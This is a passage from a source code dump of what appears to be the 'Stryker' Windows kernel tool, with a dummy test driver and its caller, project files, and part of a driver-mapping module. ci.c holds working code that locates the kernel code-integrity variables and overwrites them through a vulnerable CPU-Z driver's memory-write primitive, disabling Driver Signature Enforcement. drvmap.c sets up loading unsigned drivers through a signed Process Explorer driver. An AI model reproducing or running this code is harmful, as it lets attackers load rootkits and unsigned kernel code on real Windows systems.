| break; 62 | default: 63 | sIrql = L"Unknown Value"; 64 | break; 65 | } 66 | DbgPrint("KeGetCurrentIrql=%u(%ws)\n", Irql, sIrql); 67 | } 68 | 69 | /* 70 | * DevioctlDispatch 71 | * 72 | * Purpose: 73 | * 74 | * IRP_MJ_DEVICE_CONTROL dispatch. 75 | * 76 | */ 77 | NTSTATUS DevioctlDispatch( 78 | _In_ struct _DEVICE_OBJECT *DeviceObject, 79 | _Inout_ struct _IRP *Irp 80 | ) 81 | { 82 | NTSTATUS status = STATUS_SUCCESS; 83 | ULONG bytesIO = 0; 84 | PIO_STACK_LOCATION stack; 85 | BOOLEAN condition = FALSE; 86 | PINOUTPARAM rp, wp; 87 | 88 | UNREFERENCED_PARAMETER(DeviceObject); 89 | 90 | #ifdef DEBUGPRINT 91 | DbgPrint("%s IRP_MJ_DEVICE_CONTROL", __FUNCTION__); 92 | #endif 93 | 94 | stack = IoGetCurrentIrpStackLocation(Irp); 95 | 96 | do { 97 | 98 | if (stack == NULL) { 99 | status = STATUS_INTERNAL_ERROR; 100 | break; 101 | } 102 | 103 | rp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer; 104 | wp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer; 105 | if (rp == NULL) { 106 | status = STATUS_INVALID_PARAMETER; 107 | break; 108 | } 109 | 110 | switch (stack->Parameters.DeviceIoControl.IoControlCode) { 111 | case DUMMYDRV_REQUEST1: 112 | 113 | #ifdef DEBUGPRINT 114 | DbgPrint("%s DUMMYDRV_REQUEST1 hit", __FUNCTION__); 115 | #endif 116 | if (stack->Parameters.DeviceIoControl.InputBufferLength != sizeof(INOUT_PARAM)) { 117 | status = STATUS_INVALID_PARAMETER; 118 | break; 119 | } 120 | 121 | #ifdef DEBUGPRINT 122 | DbgPrint("%s in params = %lx, %lx, %lx, %lx", __FUNCTION__, 123 | rp->Param1, rp->Param2, rp->Param3, rp->Param4); 124 | #endif 125 | 126 | wp->Param1 = 11111111; 127 | wp->Param2 = 22222222; 128 | wp->Param3 = 33333333; 129 | wp->Param4 = 44444444; 130 | 131 | status = STATUS_SUCCESS; 132 | bytesIO = sizeof(INOUT_PARAM); 133 | 134 | break; 135 | 136 | default: 137 | 138 | #ifdef DEBUGPRINT 139 | DbgPrint("%s hit with invalid IoControlCode", __FUNCTION__); 140 | #endif 141 | status = STATUS_INVALID_PARAMETER; 142 | }; 143 | 144 | } while (condition); 145 | 146 | Irp->IoStatus.Status = status; 147 | Irp->IoStatus.Information = bytesIO; 148 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 149 | return status; 150 | } 151 | 152 | /* 153 | * UnsupportedDispatch 154 | * 155 | * Purpose: 156 | * 157 | * Unused IRP_MJ_* dispatch. 158 | * 159 | */ 160 | NTSTATUS UnsupportedDispatch( 161 | _In_ struct _DEVICE_OBJECT *DeviceObject, 162 | _Inout_ struct _IRP *Irp 163 | ) 164 | { 165 | UNREFERENCED_PARAMETER(DeviceObject); 166 | 167 | Irp->IoStatus.Status = STATUS_NOT_SUPPORTED; 168 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 169 | return Irp->IoStatus.Status; 170 | } 171 | 172 | /* 173 | * CreateDispatch 174 | * 175 | * Purpose: 176 | * 177 | * IRP_MJ_CREATE dispatch. 178 | * 179 | */ 180 | NTSTATUS CreateDispatch( 181 | _In_ struct _DEVICE_OBJECT *DeviceObject, 182 | _Inout_ struct _IRP *Irp 183 | ) 184 | { 185 | UNREFERENCED_PARAMETER(DeviceObject); 186 | 187 | #ifdef DEBUGPRINT 188 | DbgPrint("%s Create", __FUNCTION__); 189 | #endif 190 | 191 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 192 | return Irp->IoStatus.Status; 193 | } 194 | 195 | /* 196 | * CloseDispatch 197 | * 198 | * Purpose: 199 | * 200 | * IRP_MJ_CLOSE dispatch. 201 | * 202 | */ 203 | NTSTATUS CloseDispatch( 204 | _In_ struct _DEVICE_OBJECT *DeviceObject, 205 | _Inout_ struct _IRP *Irp 206 | ) 207 | { 208 | UNREFERENCED_PARAMETER(DeviceObject); 209 | 210 | #ifdef DEBUGPRINT 211 | DbgPrint("%s Close", __FUNCTION__); 212 | #endif 213 | 214 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 215 | return Irp->IoStatus.Status; 216 | } 217 | 218 | /* 219 | * DriverInitialize 220 | * 221 | * Purpose: 222 | * 223 | * Driver main. 224 | * 225 | */ 226 | NTSTATUS DriverInitialize( 227 | _In_ struct _DRIVER_OBJECT *DriverObject, 228 | _In_ PUNICODE_STRING RegistryPath 229 | ) 230 | { 231 | NTSTATUS status; 232 | UNICODE_STRING SymLink, DevName; 233 | PDEVICE_OBJECT devobj; 234 | ULONG t; 235 | 236 | //RegistryPath is NULL 237 | UNREFERENCED_PARAMETER(RegistryPath); 238 | 239 | #ifdef DEBUGPRINT 240 | DbgPrint("%s\n", __FUNCTION__); 241 | #endif 242 | 243 | RtlInitUnicodeString(&DevName, L"\\Device\\TDLD"); 244 | status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &devobj); 245 | 246 | #ifdef DEBUGPRINT 247 | DbgPrint("%s IoCreateDevice(%wZ) = %lx\n", __FUNCTION__, DevName, status); 248 | #endif 249 | 250 | if (!NT_SUCCESS(status)) { 251 | return status; 252 | } 253 | 254 | RtlInitUnicodeString(&SymLink, L"\\DosDevices\\TDLD"); 255 | status = IoCreateSymbolicLink(&SymLink, &DevName); 256 | 257 | #ifdef DEBUGPRINT 258 | DbgPrint("%s IoCreateSymbolicLink(%wZ) = %lx\n", __FUNCTION__, SymLink, status); 259 | #endif 260 | 261 | devobj->Flags |= DO_BUFFERED_IO; 262 | 263 | for (t = 0; t <= IRP_MJ_MAXIMUM_FUNCTION; t++) 264 | DriverObject->MajorFunction[t] = &UnsupportedDispatch; 265 | 266 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = &DevioctlDispatch; 267 | DriverObject->MajorFunction[IRP_MJ_CREATE] = &CreateDispatch; 268 | DriverObject->MajorFunction[IRP_MJ_CLOSE] = &CloseDispatch; 269 | DriverObject->DriverUnload = NULL; //nonstandard way of driver loading, no unload 270 | 271 | devobj->Flags &= ~DO_DEVICE_INITIALIZING; 272 | return status; 273 | } 274 | 275 | /* 276 | * DriverEntry 277 | * 278 | * Purpose: 279 | * 280 | * Driver base entry point. 281 | * 282 | */ 283 | NTSTATUS DriverEntry( 284 | _In_ struct _DRIVER_OBJECT *DriverObject, 285 | _In_ PUNICODE_STRING RegistryPath 286 | ) 287 | { 288 | NTSTATUS status; 289 | UNICODE_STRING drvName; 290 | 291 | /* This parameters are invalid due to nonstandard way of loading and should not be used. */ 292 | UNREFERENCED_PARAMETER(DriverObject); 293 | UNREFERENCED_PARAMETER(RegistryPath); 294 | 295 | PrintIrql(); 296 | 297 | #ifdef DEBUGPRINT 298 | DbgPrint("%s\n", __FUNCTION__); 299 | #endif 300 | 301 | RtlInitUnicodeString(&drvName, L"\\Driver\\TDLD"); 302 | status = IoCreateDriver(&drvName, &DriverInitialize); 303 | 304 | #ifdef DEBUGPRINT 305 | DbgPrint("%s IoCreateDriver(%wZ) = %lx\n", __FUNCTION__, drvName, status); 306 | #endif 307 | 308 | return status; 309 | } 310 | -------------------------------------------------------------------------------- /src/DummyDrv2/dummy/main.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017 4 | * 5 | * TITLE: MAIN.H 6 | * 7 | * VERSION: 1.01 8 | * 9 | * DATE: 20 Apr 2017 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | 18 | #pragma once 19 | 20 | NTKERNELAPI 21 | NTSTATUS 22 | IoCreateDriver( 23 | IN PUNICODE_STRING DriverName, OPTIONAL 24 | IN PDRIVER_INITIALIZE InitializationFunction 25 | ); 26 | 27 | _Dispatch_type_(IRP_MJ_DEVICE_CONTROL) 28 | DRIVER_DISPATCH DevioctlDispatch; 29 | _Dispatch_type_(IRP_MJ_CREATE) 30 | DRIVER_DISPATCH CreateDispatch; 31 | _Dispatch_type_(IRP_MJ_CLOSE) 32 | DRIVER_DISPATCH CloseDispatch; 33 | 34 | _Dispatch_type_(IRP_MJ_CREATE) 35 | _Dispatch_type_(IRP_MJ_CREATE_NAMED_PIPE) 36 | _Dispatch_type_(IRP_MJ_CLOSE) 37 | _Dispatch_type_(IRP_MJ_READ) 38 | _Dispatch_type_(IRP_MJ_WRITE) 39 | _Dispatch_type_(IRP_MJ_QUERY_INFORMATION) 40 | _Dispatch_type_(IRP_MJ_SET_INFORMATION) 41 | _Dispatch_type_(IRP_MJ_QUERY_EA) 42 | _Dispatch_type_(IRP_MJ_SET_EA) 43 | _Dispatch_type_(IRP_MJ_FLUSH_BUFFERS) 44 | _Dispatch_type_(IRP_MJ_QUERY_VOLUME_INFORMATION) 45 | _Dispatch_type_(IRP_MJ_SET_VOLUME_INFORMATION) 46 | _Dispatch_type_(IRP_MJ_DIRECTORY_CONTROL) 47 | _Dispatch_type_(IRP_MJ_FILE_SYSTEM_CONTROL) 48 | _Dispatch_type_(IRP_MJ_DEVICE_CONTROL) 49 | _Dispatch_type_(IRP_MJ_INTERNAL_DEVICE_CONTROL) 50 | _Dispatch_type_(IRP_MJ_SHUTDOWN) 51 | _Dispatch_type_(IRP_MJ_LOCK_CONTROL) 52 | _Dispatch_type_(IRP_MJ_CLEANUP) 53 | _Dispatch_type_(IRP_MJ_CREATE_MAILSLOT) 54 | _Dispatch_type_(IRP_MJ_QUERY_SECURITY) 55 | _Dispatch_type_(IRP_MJ_SET_SECURITY) 56 | _Dispatch_type_(IRP_MJ_POWER) 57 | _Dispatch_type_(IRP_MJ_SYSTEM_CONTROL) 58 | _Dispatch_type_(IRP_MJ_DEVICE_CHANGE) 59 | _Dispatch_type_(IRP_MJ_QUERY_QUOTA) 60 | _Dispatch_type_(IRP_MJ_SET_QUOTA) 61 | _Dispatch_type_(IRP_MJ_PNP) 62 | DRIVER_DISPATCH UnsupportedDispatch; 63 | 64 | DRIVER_INITIALIZE DriverInitialize; 65 | DRIVER_INITIALIZE DriverEntry; 66 | #pragma alloc_text(INIT, DriverEntry) 67 | 68 | #define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) 69 | 70 | typedef struct _INOUT_PARAM { 71 | ULONG Param1; 72 | ULONG Param2; 73 | ULONG Param3; 74 | ULONG Param4; 75 | } INOUT_PARAM, *PINOUTPARAM; 76 | -------------------------------------------------------------------------------- /src/DummyDrv2/dummy/r3request.c: -------------------------------------------------------------------------------- 1 | typedef struct _INOUT_PARAM{ 2 | ULONG Param1; 3 | ULONG Param2; 4 | ULONG Param3; 5 | ULONG Param4; 6 | } INOUT_PARAM, *PINOUT_PARAM; 7 | 8 | #define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) 9 | 10 | VOID test( 11 | VOID 12 | ) 13 | { 14 | HANDLE h; 15 | INOUT_PARAM tmp; 16 | DWORD bytesIO; 17 | 18 | h = CreateFile(TEXT("\\\\.\\TDLD"), GENERIC_READ | GENERIC_WRITE, 19 | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 20 | if (h != INVALID_HANDLE_VALUE) { 21 | 22 | tmp.Param1 = 0xAAAAAAAA; 23 | tmp.Param2 = 0xBBBBBBBB; 24 | tmp.Param3 = 0xCCCCCCCC; 25 | tmp.Param4 = 0xDDDDDDDD; 26 | 27 | DeviceIoControl(h, DUMMYDRV_REQUEST1, 28 | &tmp, sizeof(tmp), &tmp, 29 | sizeof(tmp), &bytesIO, NULL); 30 | 31 | CloseHandle(h); 32 | } 33 | 34 | } -------------------------------------------------------------------------------- /src/Maya/Resource.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/src/Maya/Resource.rc -------------------------------------------------------------------------------- /src/Maya/Stryker.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Stryker", "Stryker.vcxproj", "{8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Release|x64 = Release|x64 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}.Debug|x64.ActiveCfg = Debug|x64 15 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}.Debug|x64.Build.0 = Debug|x64 16 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}.Release|x64.ActiveCfg = Release|x64 17 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}.Release|x64.Build.0 = Release|x64 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /src/Maya/Stryker.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60} 15 | Win32Proj 16 | Stryker 17 | 8.1 18 | 19 | 20 | 21 | Application 22 | true 23 | v140 24 | Unicode 25 | 26 | 27 | Application 28 | false 29 | v140 30 | true 31 | Unicode 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | true 47 | .\output\$(Platform)\$(Configuration)\ 48 | .\output\$(Platform)\$(Configuration)\ 49 | 50 | 51 | false 52 | .\output\$(Platform)\$(Configuration)\ 53 | .\output\$(Platform)\$(Configuration)\ 54 | 55 | 56 | 57 | 58 | 59 | Level4 60 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 61 | CompileAsC 62 | false 63 | 64 | 65 | Console 66 | true 67 | main 68 | 69 | 70 | 71 | 72 | Level4 73 | 74 | 75 | MinSpace 76 | true 77 | true 78 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 79 | CompileAsC 80 | MultiThreaded 81 | true 82 | false 83 | 84 | 85 | Console 86 | true 87 | true 88 | false 89 | main 90 | true 91 | 6.0 92 | RequireAdministrator 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | -------------------------------------------------------------------------------- /src/Maya/Stryker.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {46d93336-71e0-4b44-88f5-359455c302a6} 18 | 19 | 20 | {cc5fcea4-0737-4b0d-9be4-4cd871872ef9} 21 | 22 | 23 | {1aaa720a-e2d2-43c7-b440-8ef3f222d750} 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | minirtl 35 | 36 | 37 | minirtl 38 | 39 | 40 | minirtl 41 | 42 | 43 | minirtl 44 | 45 | 46 | minirtl 47 | 48 | 49 | Source Files 50 | 51 | 52 | Source Files 53 | 54 | 55 | Source Files 56 | 57 | 58 | Source Files 59 | 60 | 61 | Source Files 62 | 63 | 64 | Source Files 65 | 66 | 67 | Source Files 68 | 69 | 70 | minirtl 71 | 72 | 73 | hde 74 | 75 | 76 | minirtl 77 | 78 | 79 | Header Files 80 | 81 | 82 | minirtl 83 | 84 | 85 | minirtl 86 | 87 | 88 | minirtl 89 | 90 | 91 | Source Files 92 | 93 | 94 | Source Files 95 | 96 | 97 | minirtl 98 | 99 | 100 | minirtl 101 | 102 | 103 | 104 | 105 | ntos 106 | 107 | 108 | Header Files 109 | 110 | 111 | minirtl 112 | 113 | 114 | minirtl 115 | 116 | 117 | Header Files 118 | 119 | 120 | Header Files 121 | 122 | 123 | Header Files 124 | 125 | 126 | Header Files 127 | 128 | 129 | Header Files 130 | 131 | 132 | Header Files 133 | 134 | 135 | Header Files 136 | 137 | 138 | Header Files 139 | 140 | 141 | hde 142 | 143 | 144 | hde 145 | 146 | 147 | hde 148 | 149 | 150 | Header Files 151 | 152 | 153 | Header Files 154 | 155 | 156 | Header Files 157 | 158 | 159 | Header Files 160 | 161 | 162 | Header Files 163 | 164 | 165 | 166 | 167 | Resource Files 168 | 169 | 170 | -------------------------------------------------------------------------------- /src/Maya/Stryker.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | WindowsLocalDebugger 7 | 8 | 9 | 10 | 11 | WindowsLocalDebugger 12 | 13 | -------------------------------------------------------------------------------- /src/Maya/ci.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: CI.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * CI related routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #include "global.h" 21 | 22 | /* 23 | * QueryCiEnabled 24 | * 25 | * Purpose: 26 | * 27 | * Find g_CiEnabled variable address. 28 | * 29 | */ 30 | LONG QueryCiEnabled( 31 | _In_ PVOID MappedBase, 32 | _In_ SIZE_T SizeOfImage, 33 | _Inout_ ULONG_PTR *KernelBase 34 | ) 35 | { 36 | SIZE_T c; 37 | LONG rel = 0; 38 | 39 | for (c = 0; c < SizeOfImage - sizeof(DWORD); c++) { 40 | if (*(PDWORD)((PBYTE)MappedBase + c) == 0x1d8806eb) { 41 | rel = *(PLONG)((PBYTE)MappedBase + c + 4); 42 | *KernelBase = *KernelBase + c + 8 + rel; 43 | break; 44 | } 45 | } 46 | 47 | return rel; 48 | } 49 | 50 | /* 51 | * QueryCiOptions 52 | * 53 | * Purpose: 54 | * 55 | * Find g_CiOptions variable address. 56 | * 57 | */ 58 | LONG QueryCiOptions( 59 | _In_ PVOID MappedBase, 60 | _Inout_ ULONG_PTR *KernelBase 61 | ) 62 | { 63 | PBYTE CiInitialize = NULL; 64 | ULONG c, j = 0; 65 | LONG rel = 0; 66 | hde64s hs; 67 | 68 | CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize"); 69 | if (CiInitialize == NULL) 70 | return 0; 71 | 72 | if (g_NtBuildNumber > 16199) { 73 | 74 | c = 0; 75 | j = 0; 76 | do { 77 | 78 | /* call CipInitialize */ 79 | if (CiInitialize[c] == 0xE8) 80 | j++; 81 | 82 | if (j > 1) { 83 | rel = *(PLONG)(CiInitialize + c + 1); 84 | break; 85 | } 86 | 87 | hde64_disasm(CiInitialize + c, &hs); 88 | if (hs.flags & F_ERROR) 89 | break; 90 | c += hs.len; 91 | 92 | } while (c < 256); 93 | 94 | } 95 | else { 96 | 97 | c = 0; 98 | do { 99 | 100 | /* jmp CipInitialize */ 101 | if (CiInitialize[c] == 0xE9) { 102 | rel = *(PLONG)(CiInitialize + c + 1); 103 | break; 104 | } 105 | hde64_disasm(CiInitialize + c, &hs); 106 | if (hs.flags & F_ERROR) 107 | break; 108 | c += hs.len; 109 | 110 | } while (c < 256); 111 | 112 | } 113 | 114 | CiInitialize = CiInitialize + c + 5 + rel; 115 | c = 0; 116 | do { 117 | 118 | if (*(PUSHORT)(CiInitialize + c) == 0x0d89) { 119 | rel = *(PLONG)(CiInitialize + c + 2); 120 | break; 121 | } 122 | hde64_disasm(CiInitialize + c, &hs); 123 | if (hs.flags & F_ERROR) 124 | break; 125 | c += hs.len; 126 | 127 | } while (c < 256); 128 | 129 | CiInitialize = CiInitialize + c + 6 + rel; 130 | 131 | *KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase; 132 | 133 | return rel; 134 | } 135 | 136 | /* 137 | * ciQueryVariable 138 | * 139 | * Purpose: 140 | * 141 | * Find variable address. 142 | * Depending on NT version search in ntoskrnl.exe or ci.dll 143 | * 144 | */ 145 | ULONG_PTR ciQueryVariable( 146 | VOID 147 | ) 148 | { 149 | LONG rel = 0; 150 | SIZE_T SizeOfImage = 0; 151 | ULONG_PTR Result = 0, ModuleKernelBase = 0; 152 | CHAR *szModuleName; 153 | WCHAR *wszErrorEvent, *wszSuccessEvent; 154 | PVOID MappedBase = NULL; 155 | 156 | CHAR szFullModuleName[MAX_PATH * 2]; 157 | 158 | if (g_NtBuildNumber < 9200) { 159 | szModuleName = NTOSKRNL_EXE; 160 | wszErrorEvent = TEXT("\r\n[!] ntoskrnl.exe loaded image base not recognized\r\n"); 161 | wszSuccessEvent = TEXT("\r\n[+] ntoskrnl.exe loaded for pattern search"); 162 | } 163 | else { 164 | szModuleName = CI_DLL; 165 | wszErrorEvent = TEXT("\r\n[!] CI.dll loaded image base not recognized\r\n"); 166 | wszSuccessEvent = TEXT("\r\n[+] CI.dll loaded for pattern search"); 167 | } 168 | 169 | 170 | ModuleKernelBase = supGetModuleBaseByName(szModuleName); 171 | if (ModuleKernelBase == 0) { 172 | supPrintText(wszErrorEvent); 173 | return 0; 174 | } 175 | 176 | szFullModuleName[0] = 0; 177 | if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH)) 178 | return 0; 179 | _strcat_a(szFullModuleName, "\\"); 180 | _strcat_a(szFullModuleName, szModuleName); 181 | 182 | MappedBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); 183 | if (MappedBase) { 184 | 185 | supPrintText(wszSuccessEvent); 186 | 187 | if (g_NtBuildNumber < 9200) { 188 | rel = QueryCiEnabled( 189 | MappedBase, 190 | SizeOfImage, 191 | &ModuleKernelBase); 192 | 193 | } 194 | else { 195 | rel = QueryCiOptions( 196 | MappedBase, 197 | &ModuleKernelBase); 198 | } 199 | 200 | if (rel != 0) { 201 | Result = ModuleKernelBase; 202 | } 203 | FreeLibrary(MappedBase); 204 | } 205 | else { 206 | 207 | // 208 | // Output error. 209 | // 210 | if (g_NtBuildNumber < 9200) { 211 | wszErrorEvent = TEXT("\r\n[!] Cannot load ntoskrnl.exe\r\n"); 212 | } 213 | else { 214 | wszErrorEvent = TEXT("\r\n[!] Cannot load CI.dll\r\n"); 215 | } 216 | 217 | supPrintText(wszErrorEvent); 218 | } 219 | 220 | return Result; 221 | } 222 | 223 | /* 224 | * ControlDSE 225 | * 226 | * Purpose: 227 | * 228 | * Change ntoskrnl.exe g_CiEnabled or CI.dll g_CiOptions state. 229 | * 230 | */ 231 | BOOL ControlDSE( 232 | _In_ BOOL EnableDSE 233 | ) 234 | { 235 | BOOL bResult = FALSE; 236 | ULONG_PTR CiAddress; 237 | 238 | ULONG Value; 239 | 240 | WCHAR szMsg[MAX_PATH]; 241 | 242 | ULONG returnLength = 0; 243 | NTSTATUS status; 244 | SYSTEM_CODEINTEGRITY_INFORMATION state; 245 | 246 | state.CodeIntegrityOptions = 0; 247 | state.Length = sizeof(state); 248 | 249 | status = NtQuerySystemInformation(SystemCodeIntegrityInformation, 250 | (PVOID)&state, sizeof(SYSTEM_CODEINTEGRITY_INFORMATION), 251 | &returnLength); 252 | 253 | if (NT_SUCCESS(status)) { 254 | if (state.CodeIntegrityOptions & CODEINTEGRITY_OPTION_ENABLED) { 255 | supPrintText(TEXT("\r\n[+] System reports CodeIntegrityOption Enabled")); 256 | } 257 | } 258 | 259 | // 260 | // Assume variable is in nonpaged .data section. 261 | // 262 | 263 | CiAddress = ciQueryVariable(); 264 | if (CiAddress == 0) { 265 | supPrintText(TEXT("\r\n[!] Cannot query CI variable address")); 266 | } else { 267 | 268 | _strcpy(szMsg, TEXT("\r\n[+] Writing to address 0x")); 269 | u64tohex(CiAddress, _strend(szMsg)); 270 | supPrintText(szMsg); 271 | 272 | if (EnableDSE) { 273 | if (g_NtBuildNumber < 9200) 274 | Value = 1; //simple bool flag 275 | else 276 | Value = 6; 277 | bResult = cpuz_WriteVirtualMemory((DWORD_PTR)CiAddress, &Value, sizeof(Value)); 278 | } 279 | else { 280 | Value = 0; 281 | bResult = cpuz_WriteVirtualMemory((DWORD_PTR)CiAddress, &Value, sizeof(Value)); 282 | } 283 | if (bResult) { 284 | supPrintText(TEXT("\r\n[+] Kernel memory patched")); 285 | } 286 | else { 287 | supPrintText(TEXT("\r\n[!] Error, kernel memory not patched")); 288 | } 289 | } 290 | 291 | return bResult; 292 | } 293 | 294 | -------------------------------------------------------------------------------- /src/Maya/ci.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: CI.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * CI prototypes and definitions. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | #define NTOSKRNL_EXE "ntoskrnl.exe" 23 | #define CI_DLL "ci.dll" 24 | 25 | BOOL ControlDSE( 26 | _In_ BOOL Enable); 27 | -------------------------------------------------------------------------------- /src/Maya/drvmap.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: DRVMAP.C 6 | * 7 | * VERSION: 1.01 8 | * 9 | * DATE: 24 Feb 2018 10 | * 11 | * Driver mapping routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #include "global.h" 20 | #include "irp.h" 21 | 22 | // 23 | // Mark Explorer driver. Simple code, no restrictions, nice signature, small size. 24 | // 25 | #define MR_PE152 L"procexp152" 26 | 27 | #define SCM_DB_KEY L"\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Services\\" 28 | 29 | typedef ULONG(NTAPI *pfnDbgPrint)( 30 | _In_ PCHAR Format, 31 | ...); 32 | 33 | typedef PVOID(NTAPI *pfnExAllocatePool)( 34 | _In_ POOL_TYPE PoolType, 35 | _In_ SIZE_T NumberOfBytes); 36 | 37 | typedef VOID(NTAPI *pfnExFreePool)( 38 | _In_ PVOID P); 39 | 40 | typedef NTSTATUS(NTAPI *pfnPsCreateSystemThread)( 41 | _Out_ PHANDLE ThreadHandle, 42 | _In_ ULONG DesiredAccess, 43 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 44 | _In_opt_ HANDLE ProcessHandle, 45 | _Out_opt_ PCLIENT_ID ClientId, 46 | _In_ PKSTART_ROUTINE StartRoutine, 47 | _In_opt_ PVOID StartContext); 48 | 49 | typedef NTSTATUS(NTAPI *pfnZwClose)( 50 | _In_ HANDLE Handle); 51 | 52 | typedef NTSTATUS(NTAPI *pfnZwOpenKey)( 53 | _Out_ PHANDLE KeyHandle, 54 | _In_ ACCESS_MASK DesiredAccess, 55 | _In_ POBJECT_ATTRIBUTES ObjectAttributes); 56 | 57 | typedef NTSTATUS(NTAPI *pfnZwQueryValueKey)( 58 | _In_ HANDLE KeyHandle, 59 | _In_ PUNICODE_STRING ValueName, 60 | _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, 61 | _Out_opt_ PVOID KeyValueInformation, 62 | _In_ ULONG Length, 63 | _Out_ PULONG ResultLength); 64 | 65 | typedef VOID(NTAPI 